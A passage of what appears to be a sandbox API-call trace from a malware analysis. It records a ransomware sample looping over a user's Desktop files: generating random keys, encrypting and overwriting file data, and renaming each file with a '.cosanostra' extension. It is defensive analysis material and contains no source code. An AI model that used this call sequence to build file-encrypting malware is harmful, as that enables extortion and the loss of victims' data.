lpNumberOfBytesWritten=0x251f2d4*=0x2800, lpOverlapped=0x0) returned 1 [0098.196] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.196] WriteFile (in: hFile=0x138, lpBuffer=0x251f314*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2d4, lpOverlapped=0x0 | out: lpBuffer=0x251f314*, lpNumberOfBytesWritten=0x251f2d4*=0x4, lpOverlapped=0x0) returned 1 [0098.196] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2d4*=0x30, lpOverlapped=0x0) returned 1 [0098.196] CloseHandle (hObject=0x138) returned 1 [0098.196] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jEgQ.flv.cosanostra") returned 61 [0098.197] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jEgQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jegq.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jEgQ.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jegq.flv.cosanostra")) returned 1 [0098.198] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f318 | out: pbBuffer=0x251f318) returned 1 [0098.198] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f310*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f310*=0x30) returned 1 [0098.198] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iZObcfubo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\izobcfubo.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.198] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iZObcfubo.mp4") returned 55 [0098.198] StrStrW (lpFirst="iZObcfubo.mp4", lpSrch=".txt") returned 0x0 [0098.199] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.199] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2d4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2d4*=0x2800, lpOverlapped=0x0) returned 1 [0098.199] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.199] WriteFile (in: hFile=0x138, lpBuffer=0x251f314*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2d4, lpOverlapped=0x0 | out: lpBuffer=0x251f314*, lpNumberOfBytesWritten=0x251f2d4*=0x4, lpOverlapped=0x0) returned 1 [0098.199] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2d4*=0x30, lpOverlapped=0x0) returned 1 [0098.199] CloseHandle (hObject=0x138) returned 1 [0098.199] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iZObcfubo.mp4.cosanostra") returned 66 [0098.199] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iZObcfubo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\izobcfubo.mp4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iZObcfubo.mp4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\izobcfubo.mp4.cosanostra")) returned 1 [0098.200] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f310 | out: pbBuffer=0x251f310) returned 1 [0098.200] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f308*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f308*=0x30) returned 1 [0098.200] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IAJopFIGDkDZ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iajopfigdkdz.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.200] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IAJopFIGDkDZ.csv") returned 58 [0098.200] StrStrW (lpFirst="IAJopFIGDkDZ.csv", lpSrch=".txt") returned 0x0 [0098.201] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.201] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2cc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2cc*=0x2800, lpOverlapped=0x0) returned 1 [0098.201] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.201] WriteFile (in: hFile=0x138, lpBuffer=0x251f30c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2cc, lpOverlapped=0x0 | out: lpBuffer=0x251f30c*, lpNumberOfBytesWritten=0x251f2cc*=0x4, lpOverlapped=0x0) returned 1 [0098.201] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2cc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2cc*=0x30, lpOverlapped=0x0) returned 1 [0098.201] CloseHandle (hObject=0x138) returned 1 [0098.201] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IAJopFIGDkDZ.csv.cosanostra") returned 69 [0098.201] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IAJopFIGDkDZ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iajopfigdkdz.csv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IAJopFIGDkDZ.csv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iajopfigdkdz.csv.cosanostra")) returned 1 [0098.202] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f310 | out: pbBuffer=0x251f310) returned 1 [0098.202] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f308*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f308*=0x30) returned 1 [0098.202] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HRPisW56 7uJ7FspG2hK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hrpisw56 7uj7fspg2hk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.202] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HRPisW56 7uJ7FspG2hK.png") returned 66 [0098.202] StrStrW (lpFirst="HRPisW56 7uJ7FspG2hK.png", lpSrch=".txt") returned 0x0 [0098.203] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.203] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2cc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2cc*=0x2800, lpOverlapped=0x0) returned 1 [0098.203] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.203] WriteFile (in: hFile=0x138, lpBuffer=0x251f30c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2cc, lpOverlapped=0x0 | out: lpBuffer=0x251f30c*, lpNumberOfBytesWritten=0x251f2cc*=0x4, lpOverlapped=0x0) returned 1 [0098.203] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2cc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2cc*=0x30, lpOverlapped=0x0) returned 1 [0098.203] CloseHandle (hObject=0x138) returned 1 [0098.203] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HRPisW56 7uJ7FspG2hK.png.cosanostra") returned 77 [0098.203] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HRPisW56 7uJ7FspG2hK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hrpisw56 7uj7fspg2hk.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HRPisW56 7uJ7FspG2hK.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hrpisw56 7uj7fspg2hk.png.cosanostra")) returned 1 [0098.204] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f308 | out: pbBuffer=0x251f308) returned 1 [0098.204] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f300*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f300*=0x30) returned 1 [0098.204] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOz WAgKnO-8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hoz wagkno-8.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.204] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOz WAgKnO-8.png") returned 58 [0098.204] StrStrW (lpFirst="HOz WAgKnO-8.png", lpSrch=".txt") returned 0x0 [0098.205] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.205] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2c4*=0x2800, lpOverlapped=0x0) returned 1 [0098.205] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.205] WriteFile (in: hFile=0x138, lpBuffer=0x251f304*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2c4, lpOverlapped=0x0 | out: lpBuffer=0x251f304*, lpNumberOfBytesWritten=0x251f2c4*=0x4, lpOverlapped=0x0) returned 1 [0098.205] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2c4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2c4*=0x30, lpOverlapped=0x0) returned 1 [0098.205] CloseHandle (hObject=0x138) returned 1 [0098.205] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOz WAgKnO-8.png.cosanostra") returned 69 [0098.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOz WAgKnO-8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hoz wagkno-8.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOz WAgKnO-8.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hoz wagkno-8.png.cosanostra")) returned 1 [0098.206] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f308 | out: pbBuffer=0x251f308) returned 1 [0098.206] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f300*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f300*=0x30) returned 1 [0098.206] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H0-1xX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h0-1xx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.206] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H0-1xX.mp3") returned 52 [0098.206] StrStrW (lpFirst="H0-1xX.mp3", lpSrch=".txt") returned 0x0 [0098.207] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.207] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2c4*=0x2800, lpOverlapped=0x0) returned 1 [0098.207] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.207] WriteFile (in: hFile=0x138, lpBuffer=0x251f304*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2c4, lpOverlapped=0x0 | out: lpBuffer=0x251f304*, lpNumberOfBytesWritten=0x251f2c4*=0x4, lpOverlapped=0x0) returned 1 [0098.208] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2c4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2c4*=0x30, lpOverlapped=0x0) returned 1 [0098.208] CloseHandle (hObject=0x138) returned 1 [0098.208] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H0-1xX.mp3.cosanostra") returned 63 [0098.208] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H0-1xX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h0-1xx.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H0-1xX.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h0-1xx.mp3.cosanostra")) returned 1 [0098.209] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f300 | out: pbBuffer=0x251f300) returned 1 [0098.210] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2f8*=0x30) returned 1 [0098.210] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h 1ppYy0F7I2OBP.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h 1ppyy0f7i2obp.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.210] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h 1ppYy0F7I2OBP.odt") returned 61 [0098.210] StrStrW (lpFirst="h 1ppYy0F7I2OBP.odt", lpSrch=".txt") returned 0x0 [0098.211] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.211] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2bc*=0x2800, lpOverlapped=0x0) returned 1 [0098.211] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.211] WriteFile (in: hFile=0x138, lpBuffer=0x251f2fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2bc, lpOverlapped=0x0 | out: lpBuffer=0x251f2fc*, lpNumberOfBytesWritten=0x251f2bc*=0x4, lpOverlapped=0x0) returned 1 [0098.211] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2bc*=0x30, lpOverlapped=0x0) returned 1 [0098.211] CloseHandle (hObject=0x138) returned 1 [0098.211] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h 1ppYy0F7I2OBP.odt.cosanostra") returned 72 [0098.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h 1ppYy0F7I2OBP.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h 1ppyy0f7i2obp.odt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h 1ppYy0F7I2OBP.odt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h 1ppyy0f7i2obp.odt.cosanostra")) returned 1 [0098.212] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f300 | out: pbBuffer=0x251f300) returned 1 [0098.212] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2f8*=0x30) returned 1 [0098.212] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DtOxCiZKCI8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dtoxcizkci8.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.213] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DtOxCiZKCI8.avi") returned 57 [0098.213] StrStrW (lpFirst="DtOxCiZKCI8.avi", lpSrch=".txt") returned 0x0 [0098.214] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.214] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2bc*=0x2800, lpOverlapped=0x0) returned 1 [0098.214] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.214] WriteFile (in: hFile=0x138, lpBuffer=0x251f2fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2bc, lpOverlapped=0x0 | out: lpBuffer=0x251f2fc*, lpNumberOfBytesWritten=0x251f2bc*=0x4, lpOverlapped=0x0) returned 1 [0098.214] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2bc*=0x30, lpOverlapped=0x0) returned 1 [0098.214] CloseHandle (hObject=0x138) returned 1 [0098.214] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DtOxCiZKCI8.avi.cosanostra") returned 68 [0098.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DtOxCiZKCI8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dtoxcizkci8.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DtOxCiZKCI8.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dtoxcizkci8.avi.cosanostra")) returned 1 [0098.215] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2f8 | out: pbBuffer=0x251f2f8) returned 1 [0098.215] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2f0*=0x30) returned 1 [0098.215] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.216] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned 53 [0098.216] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0098.217] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.217] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x251f2b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2b4*=0x11a, lpOverlapped=0x0) returned 1 [0098.217] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.217] WriteFile (in: hFile=0x138, lpBuffer=0x251f2f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2b4, lpOverlapped=0x0 | out: lpBuffer=0x251f2f4*, lpNumberOfBytesWritten=0x251f2b4*=0x4, lpOverlapped=0x0) returned 1 [0098.217] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2b4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2b4*=0x30, lpOverlapped=0x0) returned 1 [0098.217] CloseHandle (hObject=0x138) returned 1 [0098.217] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini.cosanostra") returned 64 [0098.217] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini.cosanostra")) returned 1 [0098.218] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2f8 | out: pbBuffer=0x251f2f8) returned 1 [0098.218] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2f0*=0x30) returned 1 [0098.218] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cKirJMF7V2oqeSQIW.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ckirjmf7v2oqesqiw.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.219] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cKirJMF7V2oqeSQIW.pdf") returned 63 [0098.219] StrStrW (lpFirst="cKirJMF7V2oqeSQIW.pdf", lpSrch=".txt") returned 0x0 [0098.219] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.219] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f2b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f2b4*=0x2800, lpOverlapped=0x0) returned 1 [0098.220] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.220] WriteFile (in: hFile=0x138, lpBuffer=0x251f2f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f2b4, lpOverlapped=0x0 | out: lpBuffer=0x251f2f4*, lpNumberOfBytesWritten=0x251f2b4*=0x4, lpOverlapped=0x0) returned 1 [0098.220] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f2b4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f2b4*=0x30, lpOverlapped=0x0) returned 1 [0098.220] CloseHandle (hObject=0x138) returned 1 [0098.220] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cKirJMF7V2oqeSQIW.pdf.cosanostra") returned 74 [0098.220] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cKirJMF7V2oqeSQIW.pdf" (normalized: 